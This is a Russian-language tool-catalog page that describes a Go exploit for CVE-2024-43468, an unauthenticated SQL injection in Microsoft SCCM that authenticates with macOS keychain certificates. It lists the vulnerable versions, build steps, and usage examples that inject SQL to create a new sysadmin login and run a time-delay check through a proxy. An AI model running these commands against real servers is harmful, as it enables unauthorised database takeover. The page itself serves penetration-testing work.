Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-43468_mTLS_go — CVE-2024-43468 Эксплойт SQL-инъекции SCCM (версия mTLS с неизвлекаемым клиентским сертификатом из связки ключей MacOS) | Kitploit
Инструменты/GitHubGitHub/nikallass/cve-2024-43468_mtls_go
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификацияRed Teaming
GitHubnikallass/cve-2024-43468_mtls_go

CVE-2024-43468_mTLS_go

CVE-2024-43468 Эксплойт SQL-инъекции SCCM (версия mTLS с неизвлекаемым клиентским сертификатом из связки ключей MacOS)

Репозиторий
3221 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-43468 Эксплойт SQL-инъекции в SCCM (версия с mTLS сертификатами клиента из связки ключей macOS)

Реализация эксплойта CVE-2024-43468 на Go, использующая связку ключей macOS для аутентификации mTLS (без необходимости экспорта ключей из связки).

Дополнительно:

  • Добавлена поддержка прокси для обхода проблемных proxychains.
  • Добавлен get_cert_name.py для получения Common Name сертификата (да, это можно сделать вручную через Keychain Access GUI).
  • Добавлено много отладочной информации для понимания происходящего.

Основан на:

  • оригинальном Python эксплойте
  • примере mTLS Go Client

Описание

Эксплуатирует неаутентифицированные SQL-инъекции в Microsoft Configuration Manager (ConfigMgr / SCCM), позволяющие злоумышленнику, имеющему сетевой доступ к Management Point, выполнять произвольные SQL-запросы к базе данных сайта.

Уязвимые версии:

  • < 2403 (5.00.9128.1024)
  • < 2309 (5.00.9122.1033)
  • < 2303 (5.00.9106.1037)
  • <= 2211

Установка

root@kitploit:~
# Clone repository git clone https://github.com/nikallass/CVE-2024-43468_mTLS_go cd CVE-2024-43468_mTLS_go # Install dependencies go get github.com/google/uuid go get golang.org/x/net/proxy # Build go build -o sccm

Использование

root@kitploit:~
# Show help
./sccm -h

# Basic usage (creating new admin)
./sccm -t https://sccm-mp.local \
       -sql "create login user123 with password = 'Password123'; exec master.dbo.sp_addsrvrolemember 'user123', 'sysadmin'" \
       -cn "CertificateCommonName"

# With custom proxy (check with sleep 5)
./sccm -t https://sccm-mp.local \
       -sql "WAITFOR DELAY '0:0:5'" \
       -cn "CertificateCommonName" \
       -proxy "127.0.0.1:9050"

Параметры

  • -t : Целевой URL (обязательно)
  • -sql : SQL-запрос для выполнения (обязательно)
  • -cn : Common Name сертификата в связке ключей macOS (обязательно)
  • -proxy : Адрес SOCKS5 прокси (по умолчанию: пусто)

Требования

  • macOS (для интеграции со связкой ключей)
  • Go 1.16+
  • Клиентский сертификат в связке ключей macOS
  • опционально: SOCKS5 прокси

Ссылки

  • Рекомендация Microsoft
  • Рекомендация Synacktiv
  • Пример mTLS Go Client
Скачать инструмент